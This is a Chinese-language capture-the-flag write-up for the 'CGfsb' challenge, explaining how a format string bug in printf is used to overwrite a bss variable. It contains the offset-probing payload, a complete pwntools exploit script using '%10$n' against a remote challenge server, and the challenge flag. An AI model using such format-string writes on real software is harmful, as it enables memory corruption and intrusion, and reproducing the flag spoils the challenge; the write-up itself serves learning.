【攻防世界】CGfsb
收获
- 利用格式化字符串漏洞修改段上的值
思路
查看文件信息:
32位 小端序,开启了金丝雀、栈不可执行
尝试执行:
在 IDA 中分析:
在 printf(s)
处存在格式化字符串漏洞,当 pwnme == 8
时 cat flag,跟进 pwnme
:
pwnme
位于 bss 段上
buf
可写入的大小为 0xA,跟进 buf
:
长度不够溢出
因此本题关键在于利用输入的 s
构造 printf(s)
的格式化字符串漏洞
要利用输入修改 pwnme
的值,首先得知道输入进去的数据存在栈上的哪个位置,然后才能将这个位置和 pwnme
的地址对应起来
获取输入数据在栈中的偏移量:
io.recvuntil("please tell me your name:\n")
io.sendline("1")
io.recvuntil("leave your message please:\n")
io.sendline("AAAA_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p")
可以看到,构造 AAAA_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
作为参数传入 printf()
AAAA
的值 0x41414141
出现在输出的第十个地址,因此我们的输入在栈上的偏移量为 10
由于没有开启 PIE,在 IDA 中可获得 pwnme
的地址:0x0804A068
接下来直接写脚本即可
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
pwnme_addr = 0x0804A068
def main():
if content == 1:
io = process("/home/wyy/桌面/PWN/CGfsb/CGfsb")
else:
io = remote("61.147.171.105", 54712)
'''
# 用于获取输入的数据在栈上的偏移量
io.recvuntil("please tell me your name:\n")
io.sendline("1")
io.recvuntil("leave your message please:\n")
io.sendline("AAAA_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p")
'''
io.recvuntil("please tell me your name:\n")
io.sendline("1")
io.recvuntil("leave your message please:\n")
io.sendline(p32(pwnme_addr) + b'aaaa' + b'%10$n')
# %10$n 是将 %n 之前打印的字符的数量放入指定地址内
# 而pwnme 需要等于 8,p32(0x0804A068) 打包后是 4 个字节
# 所以还需要填充 4 个字节的垃圾数据,凑成打印 8 个字节
# 指定的地址是偏移量为 10 的栈空间所指向的地址空间
# 所以 pwnme 所在的空间内容就被更改为之前所输出的字符数量 8
io.interactive()
main()
结果
cyberpeace{625aab77a3d7f4bbf120abf06c722ddb}
评论